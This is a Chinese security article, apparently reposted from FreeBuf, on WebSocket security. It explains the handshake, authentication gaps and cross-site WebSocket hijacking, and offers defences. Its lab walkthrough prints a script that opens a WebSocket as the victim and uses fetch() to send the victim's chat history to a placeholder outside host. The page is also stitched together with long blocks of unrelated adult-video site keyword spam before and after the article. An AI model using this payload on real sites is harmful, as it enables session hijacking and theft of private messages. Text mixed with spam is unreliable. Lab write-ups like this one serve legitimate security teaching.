国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

WebSocket安全性分析,你看懂了嗎?

安全 應(yīng)用安全
如果客戶端發(fā)來的 Origin 信息來自不同域,服務(wù)器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的,惡意網(wǎng)頁可以偽造Origin頭信息,繞過服務(wù)端對Origin頭的檢查,更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket簡介

WebSocket 是HTML5一種新的網(wǎng)絡(luò)傳輸協(xié)議,位于 OSI 模型的應(yīng)用層,可在單個TCP連接上進行全雙工通信。WebSocket 建議于 TCP 協(xié)議之上,與 HTTP 協(xié)議有良好的兼容性。協(xié)議標(biāo)識符是ws;如果加密,則為wss。

WebSocket與HTTP的區(qū)別

HTTP協(xié)議時請求-響應(yīng)式的,一般是一個請求建立一次握手,在HTTP1.1版本開始,TCP連接可別復(fù)用。

HTTP協(xié)議只能由客戶端發(fā)送信息到服務(wù)端,服務(wù)端做出響應(yīng)。

WebSocket通信是雙向的,既可以由客戶端發(fā)送信息,到服務(wù)端。也可以有服務(wù)端發(fā)送信息到客戶端。

WebSocket通信建立過程

websocket通常是由客戶端JavaScript腳本創(chuàng)建

var ws = new WebSocket("wss://normal-website.com/chat");

為了建立連接,會通過HTTP協(xié)議發(fā)送一個請求,告訴服務(wù)器接下來要使用websocket進行通信,如果服務(wù)器同意請求,接下來就會進行三次握手。

1686294004_6482cdf4d2e772119d075.png!small?16862940055901686294004_6482cdf4d2e772119d075.png!small?1686294005590


WebSocket 握手消息的幾個特性值得注意:

請求和響應(yīng)中 的Connection和Upgrade標(biāo)頭表明這是一次 WebSocket 握手。

Sec-WebSocket-Version請求頭指定WebSocket協(xié)議版本的客戶端希望使用。通常是13.

Sec-WebSocket-Key請求報頭包含Base64編碼的隨機值,這應(yīng)該在每個握手請求是隨機產(chǎn)生的。并不是用于身份認(rèn)證的。

Sec-WebSocket-Accept響應(yīng)報頭包含在提交的值的散列Sec-WebSocket-Key請求頭,具有在協(xié)議規(guī)范中定義的特定的字符串串聯(lián)。這樣做是為了防止錯誤配置的服務(wù)器或緩存代理導(dǎo)致誤導(dǎo)性響應(yīng)。

三次握手以后表示建立了客戶端與服務(wù)端建立websocket連接,可以通過websocket協(xié)議進行通信。

ws.send("hello websocket");

由于TCP協(xié)議是復(fù)用的,所以可以通過一次連接,發(fā)送多個信息。

1686294062_6482ce2ed13a9aa6a4f99.png!small?16862940634481686294062_6482ce2ed13a9aa6a4f99.png!small?1686294063448

原則上,WebSocket 消息可以包含任何內(nèi)容或數(shù)據(jù)格式。在現(xiàn)代應(yīng)用程序中,通常使用 JSON 在 WebSocket 消息中發(fā)送結(jié)構(gòu)化數(shù)據(jù)。

WebSocket使用場景

基于WebSocket全雙工、延遲的特性,應(yīng)用場景比較廣泛。

  • 聊天
  • 彈幕
  • 協(xié)同編輯
  • 股票報價實施更新
  • 位置更新
  • 直播實況段落的首行要

WebSocket安全性分析

websocket僅僅是web程序中的一種通信協(xié)議,并不會解決web應(yīng)用中存在的安全問題。因此在HTTP協(xié)議中出現(xiàn)的安全問題在websocket中都可能出現(xiàn)。

目前對于HTTP協(xié)議的漏洞已經(jīng)很少了,可以去看看websocket協(xié)議的,說不定會有意想不到的發(fā)現(xiàn)。

1.常規(guī)漏洞

WebSocket中,用戶輸入可控的請求數(shù)據(jù),數(shù)據(jù)被服務(wù)端進行處理,如果沒有進行有限的校驗,可能出現(xiàn)常見的Web漏洞,如XSS、SQL Inject、RCE等。

如下圖,正常發(fā)送會發(fā)現(xiàn)進行編碼

1686294500_6482cfe4560a520b4223c.png!small?16862945010181686294500_6482cfe4560a520b4223c.png!small?1686294501018

可以直接抓包重放,改變值,成功利用。實際上跟http協(xié)議沒有什么區(qū)別。

1686294509_6482cfed974210c835d07.png!small?16862945103491686294509_6482cfed974210c835d07.png!small?1686294510349

2.權(quán)限

認(rèn)證

websocket協(xié)議沒有規(guī)定在服務(wù)器在握手階段應(yīng)該如何認(rèn)證客戶端身份。服務(wù)器可以采用任何 HTTP 服務(wù)器的客戶端身份認(rèn)證機制,如 cookie認(rèn)證,HTTP 基礎(chǔ)認(rèn)證,TLS 身份認(rèn)證等。

因此,認(rèn)證實現(xiàn)方面的安全問題與基于HTTP的Web認(rèn)證并無區(qū)別。

如CVE-2015-0201,Spring框架的Java SockJS客戶端生成可預(yù)測的會話ID,攻擊者可利用該漏洞向其他會話發(fā)送消息

授權(quán)

WebSocket 協(xié)議依然沒有指定任何授權(quán)方式,因此關(guān)于權(quán)限的相關(guān)策略依然得依賴開發(fā)者在服務(wù)端實現(xiàn),這就說明通過websocket協(xié)議與傳統(tǒng)的http協(xié)議面臨相同的安全風(fēng)險,如垂直越權(quán)和水平越權(quán)。

3.基于webSocket的CSRF漏洞(跨域請求/CSWSH)

該漏洞全稱叫做Cross-site WebSocket Hijacking,跨站點WebSocket劫持漏洞。當(dāng)WebSocket握手請求僅依靠HTTP cookie進行會話處理并且不包含任何CSRF token或其他不可預(yù)測的值時,就會出現(xiàn)這種漏洞。

判斷websocket中是否存在跨域問題

檢查應(yīng)用程序執(zhí)行的WebSocket握手過程是否針對CSRF進行了保護。除了在cookie中該消息不依賴其它的值進行會話處理。如下面的請求僅僅依靠session token來進行會話處理,那么就會存在這種漏洞。

1686294535_6482d00739e9ede4566c2.png!small?16862945360471686294535_6482d00739e9ede4566c2.png!small?1686294536047

通過portSwigger的靶場進行復(fù)現(xiàn)

Lab: Cross-site WebSocket hijacking

在live chat中首先驗證websocket是否存在csrf。可以看到僅僅依靠cookie來進行會話處理,說明存在漏洞

1686294558_6482d01e0724a95846cbd.png!small?16862945586941686294558_6482d01e0724a95846cbd.png!small?1686294558694

在確認(rèn)存在這個漏洞以后,我們就要去編寫我們的payload,首先我們發(fā)現(xiàn)在建立websocket連接以后,發(fā)送READY字符串,服務(wù)端就會把歷史聊天記錄返回,那么我們就通過這種方式去利用。

1686294563_6482d023a161e00440e69.png!small?16862945644151686294563_6482d023a161e00440e69.png!small?1686294564415

首先通過new websocket與服務(wù)端建立連接,然后通過ws.send('READY')像服務(wù)端發(fā)送READY。當(dāng)服務(wù)端收到READY字符串時,就會把歷史的聊天記錄返回回來。這個js收到歷史記錄以后就可以訪問burp的collaborator并帶著敏感數(shù)據(jù)。

payload如下:

<script>
// Create WebSocket connection.
var ws = new WebSocket("wss://web-security-academy.net/chat");
// Connection opened
ws.addEventListener('open', function (event) {
ws.send('READY');
});
// Listen for messages
ws.onmessage = function(event) {
fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'})
};
</script>

在portSwigger的exploit server中設(shè)置自己的payload

1686294605_6482d04dba51aab951f35.png!small?16862946064351686294605_6482d04dba51aab951f35.png!small?1686294606435


設(shè)置好payload,然后讓登錄的瀏覽器去訪問。在這個靶場也就是點擊Deliver exploit to victim

1686294621_6482d05d0608dbe4d74c2.png!small?16862946215811686294621_6482d05d0608dbe4d74c2.png!small?1686294621581

然后再burp上就可以看到信息

1686294630_6482d0667a6b0b8527711.png!small?16862946311051686294630_6482d0667a6b0b8527711.png!small?1686294631105

這種漏洞的一種修復(fù)方式就是在服務(wù)端驗證Origin頭,如果客戶端發(fā)來的 Origin 信息來自不同域,服務(wù)器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的,惡意網(wǎng)頁可以偽造Origin頭信息,繞過服務(wù)端對Origin頭的檢查,更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket安全問題如何預(yù)防


  • 正確驗證輸入輸出的數(shù)據(jù),跟http協(xié)議一樣
  • 使用CSRF Token、請求頭令牌等方案保護WebSocket握手流程,防止WebSocket握手流程被CSRF攻擊所利用。
  • 使用wss://協(xié)議,(基于TLS的Websockets)
  • 在服務(wù)器進行授權(quán),防止越權(quán)的產(chǎn)生。

參考鏈接

https://www.freebuf.com/articles/web/336291.html

https://security.tencent.com/index.php/blog/msg/119

https://freebuf.com/vuls/328279.html


責(zé)任編輯:武曉燕 來源: ???FreeBuf.COM
相關(guān)推薦

2022-06-28 08:42:03

磁盤kafka高性能

2024-04-29 09:25:19

2024-08-12 12:30:27

2022-03-18 00:17:30

NISTICS安全

2022-11-28 07:10:57

2024-09-29 08:47:55

2024-05-17 09:44:49

Kubernetes均衡器Envoy

2024-03-05 18:19:07

localhostLinux數(shù)據(jù)庫

2021-04-26 10:30:43

USB4設(shè)備Thunderbolt

2009-11-23 09:07:14

2024-09-10 10:21:19

2018-01-04 00:10:52

物聯(lián)網(wǎng)技術(shù)信息

2023-10-16 08:14:21

AI安全數(shù)據(jù)

2024-08-26 11:48:36

2021-10-28 19:35:02

代碼main方法

2019-11-20 15:40:48

CPU軟件處理器

2021-10-10 20:36:49

Android Root權(quán)限

2013-01-24 16:46:23

2010-07-08 15:02:24

2015-06-15 10:48:25

點贊
收藏

51CTO技術(shù)棧公眾號

奇米色777欧美一区二区| 激情校园亚洲图片| 91久久在线播放| 日韩精品中文字幕在线不卡尤物| 午夜在线一区| 高h视频在线观看| 日韩经典在线视频| 精品国产成人在线影院| 欧美三级网页| 麻豆传媒在线观看| 国产精品v欧美精品v日韩精品| 91麻豆精品91久久久久同性| 亚洲美腿欧美偷拍| 精品国产三区在线| 欧美日韩精品久久| 亚洲激情视频网| 欧美日韩一区二区三区| 欧美日韩国产传媒| 一区二区三区高清在线视频 | 国产精品x453.com| 国产一区 二区| 国产精品国产三级国产在线观看 | 精品综合久久88少妇激情| 精品国产欧美一区二区三区成人| 国产日韩欧美在线视频观看| 日本欧美一区二区在线观看| 91亚洲精选| 免费一级在线观看| 欧美在线精品免播放器视频| 亚洲欧洲午夜一线一品| 99re在线精品| 麻豆精品精品国产自在97香蕉| 免费在线看电影| 色图在线观看| 夜夜添无码一区二区三区| 日韩电影网在线| 自拍偷拍亚洲区| 久久久久99精品一区| swag国产精品一区二区| 日韩电影免费观看高清完整版在线观看| 超碰在线99| 一区二区三区四区国产| 国产精品美腿一区在线看| 成人黄色av免费在线观看| 欧美多人爱爱视频网站| 日韩美女天天操| 亚洲欧洲日本在线| av手机天堂| 欧美一区第一页| 亚洲欧美日韩在线不卡| 国产人伦精品一区二区| 伊人久久大香线蕉av不卡| 亚洲优女在线| 国产精品久久久久久久天堂第1集| 国产精品电影院| 风间由美一区二区三区在线观看| 奶水喷射视频一区| 欧美影视一区| 欧美日韩一区二区三区在线电影| 调教视频免费在线观看| 久久久一本精品| 九色视频网站在线观看| 久久69成人| 精品精品导航| 97国产在线| 亚洲女人天堂在线| 污视频网站免费| 成人观看免费完整观看| 国产精品久久久久久亚洲调教| 欧美久久久久久一卡四| 影音先锋男人的网站| 国语自产偷拍精品视频偷 | 国内精品久久影院| 欧美在线3区| 91视频成人免费| 中文字幕免费在线| 国产视频一区二区三区在线播放| 男人艹女人网站| 视频免费一区| 性欧美精品孕妇| 都市激情综合| 波多野结衣在线播放| 欧美r级在线| 16—17女人毛片毛片| 粉嫩tv在线播放| 黄色在线免费观看大全| 麻豆mv在线看| 2019中文亚洲字幕| 国产一区二区在线| 欧美黄色免费| 奇米影视一区二区三区小说| 972aa.com艺术欧美| 在线中文字幕一区二区| 久久精品国产亚洲| 91在线在线观看| www.好吊操| 麻豆免费在线视频| youjizz亚洲| 久久久久99| 亚洲精品视频观看| 亚洲免费精彩视频| 147欧美人体大胆444| 黄色国产一级视频| 日日摸天天爽天天爽视频| 天堂在线中文| 一区一区三区| 国产高清一区| 久久国产精品99精品国产| 日韩av在线发布| 中文字幕欧美国内| 国产精品久久久久久久久婷婷| 亚洲欧美日韩一级| 欧美啪啪网站| 国产亚洲高清视频| 亚洲福中文字幕伊人影院| 日韩一区二区精品在线观看| 欧美福利视频网站| 国产九色91| 国产精品视频二| 久久午夜夜伦鲁鲁一区二区| 欧美jizz18| 欧美国产一级| av影院午夜一区| 国产精品国内视频| 国产女教师bbwbbwbbw| 日本在线视频中文有码| 成人情趣视频| 久久婷婷麻豆| 亚洲美女性视频| 日本视频久久久| 中文字幕在线视频观看| 亚洲国产日韩欧美在线| 亚洲一区二区三区四区五区中文| 亚洲精品一区二区在线看| 国产精品99一区二区三| 国产成人在线视频播放| 黄色av免费在线| 美女国产精品久久久| 久久精品系列| 亚洲免费观看高清完整版在线观看熊 | 中文字幕欧美日韩精品| 午夜精品一区二区在线观看的 | 亚洲一区二区av| 日欧美一区二区| 欧美一二三在线| 伊人久久大香线蕉精品| 欧美激情20| 综合国产视频| 欧美香蕉大胸在线视频观看| 日韩av免费在线看| 一级二级三级在线观看| 国内精品久久久久久久影视麻豆| 免费在线观看不卡| 精品国产1区2区3区| 日韩中文字幕二区| 欧美日韩国产亚洲一区| 亚洲爱爱爱爱爱| 激情五月开心婷婷| 日韩一区自拍| 6080午夜不卡| 免费看的国产视频网站| 狠狠色狠狠色综合系列| 日本中文字幕成人| 亚洲1区在线| 久久香蕉国产线看观看av| 国产精品第12页| 日韩高清中文字幕一区二区| 亚洲精品成人天堂一二三| 国产精品直播网红| 2023国产精华国产精品| 婷婷国产在线| 国产在线不卡视频| 欧美黑人极品猛少妇色xxxxx| 亚洲精华国产| 国产亚洲精品自拍| 久久久av网站| 欧美www视频| 豆国产97在线| 麻豆传媒在线观看| 国产最新精品免费| 久久99久国产精品黄毛片入口| 黄色网址在线免费看| 精品无人区卡一卡二卡三乱码免费卡 | 欧美性video| a级精品国产片在线观看| 免费av在线一区| 色是在线视频| 日韩激情在线视频| 久久青青视频| 亚洲午夜国产成人av电影男同| 米奇精品一区二区三区| 3d成人h动漫网站入口| 2020中文字幕在线播放| 一区二区三区色| 小水嫩精品福利视频导航| 国产视频一区不卡| 欧美日韩中文不卡| 亚洲欧美激情一区二区| 成人福利视频在| 亚洲午夜一区二区三区|